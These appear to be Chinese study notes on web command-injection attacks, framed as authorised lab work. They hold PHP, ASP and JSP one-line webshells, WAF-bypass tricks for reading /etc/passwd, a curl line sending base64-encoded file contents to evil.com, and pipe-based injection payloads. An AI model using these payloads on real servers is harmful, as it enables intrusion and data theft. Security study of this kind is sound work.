免责声明:本文所有测试均在授权的虚拟机环境中进行,内容仅供安全研究与学习之用,请勿用于任何非法目的。我们坚决反对一切危害网络安全的行为。
通过eval(执行字符串为代码)让黑客直接在服务器上执行命令:
PHP一句话木马
<?php @eval($_POST['cmd']);?>
ASP一句话木马
<%execute(request("cmd"))%>
JSP一句话木马
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
SQL注入漏洞是用户的输入内容被带入到数据库中执行,且无任何过滤
命令执行漏洞是用户的输入内容被带到系统中执行,且无任何过滤
!!!前提可获取代码!!!
<?php XXXXXXX(); ?> PHP文件标准头尾
<?php system("命令"); ?>
<?php system($_GET["A"]); ?>
$_GET GET请求;$_POST POST请求;
[] "A" 参数
http://127.0.0.1/x.php?a=ifconfig 命令执行 GET参数
POST参数 BP 、HackBar
<?php eval(system("ipconfig");); ?>
<?php eval($_GET["A"]); ?>
http://127.0.0.1/x.php?a=system(%27ipconfig%27); 命令执行 GET参数
POST参数 BP 、HackBar
eval()
assert()
call_user_func()
call_user_func_array()
array_map()
array_filter()
适用于WAF中写死命令绕过
当 cat 被过滤时,可以尝试以下方式:
ca""t 或 ca\t
more:分页显示文件内容
less:与 more 类似
head:查看文件头部几行
tac:从最后一行开始显示(cat 的反向显示)
nl:显示文件内容并带行号
od:以八进制字节显示文件内容
vi / vim:编辑器,可查看文件
sort:按 ASCII 顺序排列文本内容
uniq:删除或检查重复行
file -f:报错显示具体文件内容
paste:按列合并多个文件
rev:反向输出文件内容
split -l1:逐行分割输出
curl evil.com/`cat /flag|base64`
:利用 curl 外发数据
反引号 + base64 编码:
`echo Y2F0IC9ldGMvcGFzc3dk |base64 -d
例:ca\t /etc/passwd
< 、 <>
$IFS$9、${IFS}、$IFS、$IFS[*]、$IFS[@]
URL 编码:%09 表示 TAB 键
例: cat%09/etc/passwd
当特定文件名被过滤时,可以尝试:
/e?c/?asswd
/e*c/*asswd
/??c/?asswd
/??c/?assw?
输入如下指令
cat /e?c/?asswd
此处原为多命令组合测试项,后端已改为执行 ping 命令:将输入作为要 ping 的主机或 IP(为教学示
例,后端对目标做了基本校验并使用 escapeshellarg)。
cmd1;cmd2:顺序执行,cmd1执行完再执行cmd2(Windows 下可能无效)
cmd1|cmd2:无论 cmd1 是否成功,都会执行 cmd2
cmd1||cmd2:如果 cmd1 执行失败,才执行 cmd2
cmd1&cmd2:cmd1 后台执行,再执行 cmd2,cmd2 不受 cmd1 成功与否影响
cmd1&&cmd2:仅当 cmd1 执行成功时才执行 cmd2(短路运算符)
输入如下指令
127.0.0.1 | whoami